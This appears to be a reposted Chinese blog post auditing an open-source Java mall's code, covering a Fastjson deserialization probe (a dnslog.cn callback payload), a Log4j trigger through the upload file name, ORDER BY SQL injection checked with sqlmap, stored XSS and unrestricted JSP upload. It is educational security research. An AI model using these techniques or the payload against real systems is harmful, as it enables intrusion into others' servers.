代码审计 | 某商城系统

admin 2025年2月11日14:23:59评论15 views字数 3952阅读13分10秒阅读模式

一、cms简介:

本文是关于某商城系统代码漏洞分析学习,大纲:

1、环境搭建
2、漏洞分析

二、环境搭建

下载源码,使用idea导入

代码审计 | 某商城系统

启动环境

代码审计 | 某商城系统

三、漏洞分析

1、第三方组件漏洞审计

本项目是基于Maven构建的。对于Maven项目,我们首先从 pom.xml 文件开始审计引入的第三方组件是 否存在漏洞版本,然后进一步验证该组件是否存在漏洞点。本项目引入的组件以及组件版本整理如下。

组件名称

组件版本

SpringBoot

2.1.6.RELEASE

Fastjson

1.2.58

Mysql

5.1.47

Druid

1.1.19

Taglibs

1.2.5

Mybatis

3.5.1

Log4j

2.10.0

2、组件漏洞代码审计通过查看

pom.xml 文件中引入的第三方插件,且经过搜索查询,发现Fastjson、Log4j、Mybatis引入存在漏洞的版本,我们进一步验证是否存在漏洞。

2.1、Fastjson漏洞代码审计

本项目引入的Fastjson版本为1.2.58,该版本存在反序列化漏洞。

2.1.1、Fastjson简述

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java对象之间相互转换。两个主要接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分别实现序列化和反序列化操作。

2.1.2、寻找漏洞触发点

已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数 JSON.parse() 和 JSON.parseObject() 。全局搜索两个关键字,发现本项目存在 JSON.parseObject()

代码审计 | 某商城系统

进入 ProductController.java 文件,问题代码出现在了第151行 ,使用 JSON.parseObject() 方法反序列化了 propertyJson 参数,我们向上追踪 propertyJson 参数,该参数是 添加产品信息 接口中 产品属性JSON 字段

代码审计 | 某商城系统

我们去验证一下,去该模块抓包修改数据

代码审计 | 某商城系统

把参数替换成 fastjson的payload

{"@type":"java.net.Inet4Address","val":"1lbp04.dnslog.cn"}

代码审计 | 某商城系统

代码审计 | 某商城系统

验证成功

2.2、Log4j漏洞代码审计

本项目引入的Log4j版本为2.10.0,该版本存在远程代码执行漏洞。

2.2.1、Log4j简述

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文 件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一 条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

2.2.2、寻找漏洞触发点

全局搜索关键字 logger

代码审计 | 某商城系统

发现有几处日志记录拼接了变量参数

代码审计 | 某商城系统

进入该代码文件,该文件位于 srcmainjavacomxqtmallcontrolleradminAccountController.java 。该代码文件位于 Controller层,主要用于和视图交互,处理用户输入的数据等操作。

代码审计 | 某商城系统

对上述代码进行分析。触发漏洞点的代码为65行的 logger.info("获取图片原始文件名:{}", originalFileName); 。向上追踪,发现通过 file.getOriginalFilename(); 获取file的文件名后赋值 给 originalFileName 。在向上追踪,file参数来自 admin/uploadAdminHeadImage 接口,通过注释我 们可以知道此处为 管理员头像上传 功能。

总结来说:访问管理员头像上传功能,将文件名改为攻击语句,即可触发Log4j漏洞。

代码审计 | 某商城系统代码审计 | 某商城系统

2.3、Mybatis漏洞代码审计

本项目引入的Mybatis版本为3.5.1,该版本存在远程命令执行漏洞。我们进一步探索一下。Mybatis < 3.5.6存在远程代码执行漏洞,CVE编号为 CVE-2020-26945 。在满足以下三个条件的时候,攻击者可以触发远程代码执行:

1、用户启用了内置的二级缓存(默认不开启,需手动配置)

2、用户未设置JEP-290过滤器

3、攻击者找到了一种修改私有Map字段条目的方法,即修改 org.apache.ibatis.cache.impl.PerpetualCache.cache有效的缓存密钥

所谓二级缓存,也就是将查询结果放到缓存中,下次查询时结果相同的话直接从缓存中获取结果。经过探索 srcmainresourcesmybatis 下面的配置文件,本项目并未开启 二级缓存。

Mybatis开启二级缓存语句
<setting name = "cacheEnabled" value = "true" />

代码审计 | 某商城系统

关键条件被否定,即不存在该漏洞

3、单点漏洞审计

对组件是否存在漏洞进行验证后,我们针对功能单点代码审计,发现存在的漏洞。对于单点功能代码审计除了特定漏洞存在特定代码审计方法,一般我习惯先去看一遍Controller层代码, 了解基本功能。再从功能出发进行代码审计。

3.1、SQL注入漏洞代码审计

本项目使用了Mybatis,来定义SQL。我们主要查看Myabatis中 xxxMapper.xml 文件中是否存在使用 $ 拼接SQL语句的情况。使用 $ 是直接拼接SQL语句的,未进行转义。全局搜索关键字 $ ,确实存在几处 order by 使用了 $ 拼接SQL语句,因为 order by 是没办法使用 #{} 的。

代码审计 | 某商城系统

以 UserMapper.xml 文件为例,进行逆向追踪。

①、双击进入 UserMapper.xml 文件,第78行存在问题。向上查看根据 select id 追踪该dao层的代码 文件。如果在IDEA中安装插件 Free Mybatis plugin 是可以快速进行跳转到代码文件,只需点击左侧 绿色箭头即可

代码审计 | 某商城系统

②、跳转到dao层代码文件,可以看到select函数中存在 orderUitl 参数,我们继续逆向追踪,看看参数 值从何而来。

代码审计 | 某商城系统

③、键盘按住 ctrl 键后鼠标左击 select ,查看谁使用该函数

代码审计 | 某商城系统

④、可以看到有两个文件使用了该函数方法,点击 UserServiceImpl.java 文件,定位到37行。

代码审计 | 某商城系统

⑤、从上图可以看出。getList 方法中需要 orderUtil 参数,我们继续逆向追踪,看看orderUtil又是从 何而来。首先看看谁使用了 getList 方法,键盘按住 ctrl 键后鼠标左击 getList

代码审计 | 某商城系统

⑥、可以看到 UserController.java 使用了该方法,且第170行中传入了 orderUtil 值,进入文件查看 具体代码

代码审计 | 某商城系统

⑦、针对上述文件进行分析,先看161行实例化OrderUitl工具类,该类需要两个参数即, orderyBy和 isDesc 。点击进入查看该类的代码,该类文件位于 srcmainjavacomxqtmallutilOrderUtil.java 。通过注释了解该类用于排序/倒序字段

代码审计 | 某商城系统

⑧、此时应该追踪 orderBy 参数是从何而来。从下图可以看到,该值通过 admin/user/{index}/{count} 接口传过来的。通过注释可以看出来该接口用于按条件查询用户

代码审计 | 某商城系统

整个流程串下来,确定了漏洞点为 orderby 参数,该参数值来源于 按条件查询用户 。

既然接口找到了,我们可以使构造请求,然后进一步验证。或者,通过 注释我们了解到该接口为查询用户,我们访问后台寻找功能点,发现用户管理翻页查询会向该接口发送 请求数据包

代码审计 | 某商城系统代码审计 | 某商城系统代码审计 | 某商城系统

我们直接用sqlmap跑

代码审计 | 某商城系统

存在时间注入

3.2、XSS漏洞代码审计

从开发视觉来看防护XSS漏洞,大多是过滤/转义用户的输入和输出。对于开发人员来说,不可能对每一 个输入和输出点进行过滤/转义。一般常使用filter层(过滤器)或拦截器进行统一过滤。或者所使用的前端框架自带防XSS机制。所以,我们审计XSS漏洞第一步看看filter层是否存在XSS过滤代码。对本项目审计发现filter层并没有关于防护XSS的代码

代码审计 | 某商城系统

第二步,我们看看使用的前端框架是什么,版本是多少,以及是否存在防XSS漏洞机制。经过一番查找, 发现pom.xml和webapp文件下,都表明使用了传统的JSP。JSP大多配合Filter进行XSS防护,上述我们发现filter层并没有XSS防护机制。

代码审计 | 某商城系统代码审计 | 某商城系统代码审计 | 某商城系统

利用成功

3.3、任意文件上传代码审计

在做Log4j漏洞代码审计时,我们发现管理员头像上传存在文件上传功能,对于该功能,我们主要审计一下是否存在任意文件上传漏洞。一般,对于代码审计任意文件上传漏洞来说,首先是看看是否存在文件上传功能,然后进一步审计是否 存在任意文件上传漏洞。或者我们可以查看Controller层所有代码,了解项目大致有哪些功能点。或者搜索相关关键字,文件上传关键字如下:

File
FileUpload
FileUploadBase
FileItemIteratorImpl
FileItemStreamImpl
FileUtils
UploadHandleServlet
FileLoadServlet
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity
MultipartFile
com.oreilly.servlet.MultipartRequest

但对于 SpingBoot项目 来说,想要SpringBoot内嵌的Tomcat对JSP解析,一定要引入相关依赖。

代码审计 | 某商城系统

直接上传jsp文件即可

原文链接:https://www.freebuf.com/articles/web/421217.html

原文始发于微信公众号(亿人安全):代码审计 | 某商城系统

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月11日14:23:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计 | 某商城系统https://cn-sec.com/archives/3724894.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息